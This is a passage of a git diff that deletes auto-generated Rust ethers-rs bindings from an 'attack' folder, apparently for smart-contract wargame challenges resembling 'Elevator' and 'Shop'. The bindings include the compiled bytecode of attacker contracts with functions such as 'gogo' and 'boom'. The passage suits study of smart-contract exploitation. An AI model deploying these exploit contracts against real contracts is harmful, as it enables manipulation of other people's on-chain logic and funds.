::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - },], - outputs: ::std::vec![::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - },], - constant: ::core::option::Option::None, - state_mutability: - ::ethers::core::abi::ethabi::StateMutability::NonPayable, - },], - )]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static BUILDING_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - pub struct Building(::ethers::contract::Contract); - impl ::core::clone::Clone for Building { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Building { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Building { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Building { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Building)) - .field(&self.address()) - .finish() - } - } - impl Building { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - BUILDING_ABI.clone(), - client, - )) - } - ///Calls the contract's `isLastFloor` (0x5f9a4bca) - /// function - pub fn is_last_floor( - &self, - p0: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([95, 154, 75, 202], p0) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Building - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `isLastFloor` function with signature - /// `isLastFloor(uint256)` and selector `0x5f9a4bca` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "isLastFloor", abi = "isLastFloor(uint256)")] - pub struct IsLastFloorCall(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `isLastFloor` function with signature - /// `isLastFloor(uint256)` and selector `0x5f9a4bca` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct IsLastFloorReturn(pub bool); -} diff --git a/attack/src/abi/building_contract.rs b/attack/src/abi/building_contract.rs deleted file mode 100644 index 76e7d35..0000000 --- a/attack/src/abi/building_contract.rs +++ /dev/null @@ -1,455 +0,0 @@ -pub use building_contract::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod building_contract { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address payable"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("gogo"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("gogo"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("isLastFloor"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("isLastFloor"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("original"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("original"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("contract Elevator"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static BUILDINGCONTRACT_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R`\x01\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90U4\x80\x15a\0#W`\0\x80\xFD[P`@Qa\x02\xCF8\x03\x80a\x02\xCF\x839\x81\x01`@\x81\x90Ra\0B\x91a\0uV[`\0\x80T3`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x01\x80T\x90\x91\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\xA5V[`\0` \x82\x84\x03\x12\x15a\0\x87W`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x9EW`\0\x80\xFD[\x93\x92PPPV[a\x02\x1B\x80a\0\xB4`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0LW`\x005`\xE0\x1C\x80cF\xC7\x15\xFA\x14a\0QW\x80c_\x9AK\xCA\x14a\0\x9BW\x80c\x8D\xA5\xCB[\x14a\0\xBEW\x80c\xFFw\x8Av\x14a\0\xDEW[`\0\x80\xFD[`\x01Ta\0q\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xAEa\0\xA96`\x04a\x01\xCCV[a\0\xE8V[`@Q\x90\x15\x15\x81R` \x01a\0\x92V[`\0Ta\0q\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[a\0\xE6a\x01EV[\0[`\x01T`\0\x90t\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x90\x04`\xFF\x16\x15a\x01=WPP`\x01\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x90U`\0\x90V[P`\x01\x91\x90PV[`\x01T`@Q\x7F\xED\x9Aq4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81Ra\x02\x9A`\x04\x82\x01Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90c\xED\x9Aq4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xB2W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\xC6W=`\0\x80>=`\0\xFD[PPPPV[`\0` \x82\x84\x03\x12\x15a\x01\xDEW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 ]\xAC\\\xE1\x11\x99\x98\x0C\xD0\x024\x8C\xE9\x0Bpeq\xE8\x8F\x91r\x16\xFBe\xFDo\xDA\x80\x03\x06\xE7+dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static BUILDINGCONTRACT_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0LW`\x005`\xE0\x1C\x80cF\xC7\x15\xFA\x14a\0QW\x80c_\x9AK\xCA\x14a\0\x9BW\x80c\x8D\xA5\xCB[\x14a\0\xBEW\x80c\xFFw\x8Av\x14a\0\xDEW[`\0\x80\xFD[`\x01Ta\0q\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xAEa\0\xA96`\x04a\x01\xCCV[a\0\xE8V[`@Q\x90\x15\x15\x81R` \x01a\0\x92V[`\0Ta\0q\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[a\0\xE6a\x01EV[\0[`\x01T`\0\x90t\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x90\x04`\xFF\x16\x15a\x01=WPP`\x01\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x90U`\0\x90V[P`\x01\x91\x90PV[`\x01T`@Q\x7F\xED\x9Aq4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81Ra\x02\x9A`\x04\x82\x01Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90c\xED\x9Aq4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xB2W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\xC6W=`\0\x80>=`\0\xFD[PPPPV[`\0` \x82\x84\x03\x12\x15a\x01\xDEW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 ]\xAC\\\xE1\x11\x99\x98\x0C\xD0\x024\x8C\xE9\x0Bpeq\xE8\x8F\x91r\x16\xFBe\xFDo\xDA\x80\x03\x06\xE7+dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static BUILDINGCONTRACT_DEPLOYED_BYTECODE: - ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct BuildingContract(::ethers::contract::Contract); - impl ::core::clone::Clone for BuildingContract { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for BuildingContract { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for BuildingContract { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for BuildingContract { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(BuildingContract)) - .field(&self.address()) - .finish() - } - } - impl BuildingContract { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - BUILDINGCONTRACT_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - BUILDINGCONTRACT_ABI.clone(), - BUILDINGCONTRACT_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `gogo` (0xff778a76) - /// function - pub fn gogo( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([255, 119, 138, 118], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `isLastFloor` (0x5f9a4bca) - /// function - pub fn is_last_floor( - &self, - p0: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([95, 154, 75, 202], p0) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `original` (0x46c715fa) - /// function - pub fn original( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([70, 199, 21, 250], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for BuildingContract - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `gogo` function with signature `gogo()` and selector - /// `0xff778a76` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "gogo", abi = "gogo()")] - pub struct GogoCall; - ///Container type for all input parameters for the - /// `isLastFloor` function with signature - /// `isLastFloor(uint256)` and selector `0x5f9a4bca` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "isLastFloor", abi = "isLastFloor(uint256)")] - pub struct IsLastFloorCall(pub ::ethers::core::types::U256); - ///Container type for all input parameters for the - /// `original` function with signature `original()` and - /// selector `0x46c715fa` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "original", abi = "original()")] - pub struct OriginalCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum BuildingContractCalls { - Gogo(GogoCall), - IsLastFloor(IsLastFloorCall), - Original(OriginalCall), - Owner(OwnerCall), - } - impl ::ethers::core::abi::AbiDecode for BuildingContractCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Gogo(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::IsLastFloor(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Original(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for BuildingContractCalls { - fn encode(self) -> Vec { - match self { - Self::Gogo(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::IsLastFloor(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Original(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for BuildingContractCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Gogo(element) => ::core::fmt::Display::fmt(element, f), - Self::IsLastFloor(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Original(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for BuildingContractCalls { - fn from(value: GogoCall) -> Self { Self::Gogo(value) } - } - impl ::core::convert::From for BuildingContractCalls { - fn from(value: IsLastFloorCall) -> Self { Self::IsLastFloor(value) } - } - impl ::core::convert::From for BuildingContractCalls { - fn from(value: OriginalCall) -> Self { Self::Original(value) } - } - impl ::core::convert::From for BuildingContractCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - ///Container type for all return fields from the - /// `isLastFloor` function with signature - /// `isLastFloor(uint256)` and selector `0x5f9a4bca` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct IsLastFloorReturn(pub bool); - ///Container type for all return fields from the - /// `original` function with signature `original()` and - /// selector `0x46c715fa` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OriginalReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/buyer.rs b/attack/src/abi/buyer.rs deleted file mode 100644 index 698c42b..0000000 --- a/attack/src/abi/buyer.rs +++ /dev/null @@ -1,130 +0,0 @@ -pub use buyer::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod buyer { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([( - ::std::borrow::ToOwned::to_owned("price"), - ::std::vec![::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("price"), - inputs: ::std::vec![], - outputs: ::std::vec![::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - },], - constant: ::core::option::Option::None, - state_mutability: - ::ethers::core::abi::ethabi::StateMutability::View, - },], - )]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static BUYER_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - pub struct Buyer(::ethers::contract::Contract); - impl ::core::clone::Clone for Buyer { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Buyer { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Buyer { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Buyer { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Buyer)) - .field(&self.address()) - .finish() - } - } - impl Buyer { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - BUYER_ABI.clone(), - client, - )) - } - ///Calls the contract's `price` (0xa035b1fe) - /// function - pub fn price( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([160, 53, 177, 254], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Buyer - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `price` function with signature `price()` and - /// selector `0xa035b1fe` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "price", abi = "price()")] - pub struct PriceCall; - ///Container type for all return fields from the - /// `price` function with signature `price()` and - /// selector `0xa035b1fe` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct PriceReturn(pub ::ethers::core::types::U256); -} diff --git a/attack/src/abi/cheaper.rs b/attack/src/abi/cheaper.rs deleted file mode 100644 index aa0f0e3..0000000 --- a/attack/src/abi/cheaper.rs +++ /dev/null @@ -1,443 +0,0 @@ -pub use cheaper::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod cheaper { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address payable"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("boom"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("boom"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("original"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("original"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("contract Shop"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("price"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("price"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static CHEAPER_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x03\x088\x03\x80a\x03\x08\x839\x81\x01`@\x81\x90Ra\0/\x91a\0bV[`\0\x80T3`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x01\x80T\x90\x91\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x92V[`\0` \x82\x84\x03\x12\x15a\0tW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x8BW`\0\x80\xFD[\x93\x92PPPV[a\x02g\x80a\0\xA1`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0LW`\x005`\xE0\x1C\x80cF\xC7\x15\xFA\x14a\0QW\x80c\x8D\xA5\xCB[\x14a\0\x9BW\x80c\xA05\xB1\xFE\x14a\0\xBBW\x80c\xA1i\xCE\t\x14a\0\xD1W[`\0\x80\xFD[`\x01Ta\0q\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0q\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[a\0\xC3a\0\xDBV[`@Q\x90\x81R` \x01a\0\x92V[a\0\xD9a\x01\x84V[\0[`\x01T`@\x80Q\x7F\xE8R\xE7A\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R\x90Q`\0\x92s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x91c\xE8R\xE7A\x91`\x04\x80\x83\x01\x92` 